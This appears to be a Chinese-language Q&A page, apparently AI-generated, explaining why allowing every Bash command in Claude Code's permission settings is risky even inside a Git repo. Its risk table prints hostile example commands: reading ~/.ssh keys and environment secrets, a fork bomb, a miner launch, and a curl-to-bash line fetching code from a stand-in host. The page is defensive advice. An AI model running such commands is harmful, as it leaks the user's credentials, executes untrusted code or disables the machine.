Claude Code 权限风险详解 | AI生成和翻译

Home 2026.02

Question: 此配置中的命令权限(allow/deny/ask)是否仅适用于当前目录和 additionalDirectories?既然这是一个 Git repo,我是否可以安全地允许所有内容 (allow everything)?另外,我在另一台笔记本电脑上也有源代码。

Answer:

不,你不能仅仅因为这是一个 Git repo 就安全地“允许所有权限 (allow all)” —— 即使在你自己的项目中,这些权限仍然带有显著的风险。

此配置似乎来自 Claude Code (Anthropic 的 AI 编程工具 / Claude Dev / 编辑器中的 Claude),其 permissions 区块控制了 AI Agent 在无需询问确认的情况下可以执行哪些 Bash 命令(以及 Read/Write/Edit 等其他工具)。

关于这些权限运作机制的关键点

Category Examples from your allow list Risk even inside project folder?
Network / exfil curl, potential wget, ping etc. 是 — 可以将本地文件/token/keys 发送到攻击者控制的服务器
Environment leakage env, printenv, cat ~/.ssh/* (如果密钥存在) 是 — 可以泄露存在于 shell env 或 home 目录(如果可读)中的 secrets
Cryptocurrency miners git clone ... && ./miner 是 — 可以在不接触其他文件夹的情况消耗你的 CPU/GPU
Infinite loops / fork bombs while true; do :; done:(){ :|:& };: 是 — 可以使你的机器死机/崩溃
Obfuscated install bash -c "$(curl -fsSL bad.com)" 是 — 在项目目录运行但会下载并执行任何内容

建议

保持当前的 细粒度 (granular) 设置(显式允许列表 + 对危险操作进行询问)。
目前的配置已经相当宽松(允许 git, npm, yarn, pnpm, pip, cargo, docker 等),这对于大多数开发流程来说已经足够了。

如果你想进一步放宽限制而不至于“允许所有内容”:

简而言之:受限的文件访问范围 ≠ 安全的无限命令执行
即使在你自己的 Git repo 中,也不建议使用宽泛的 Bash(*) 允许规则。

References:


Back Donate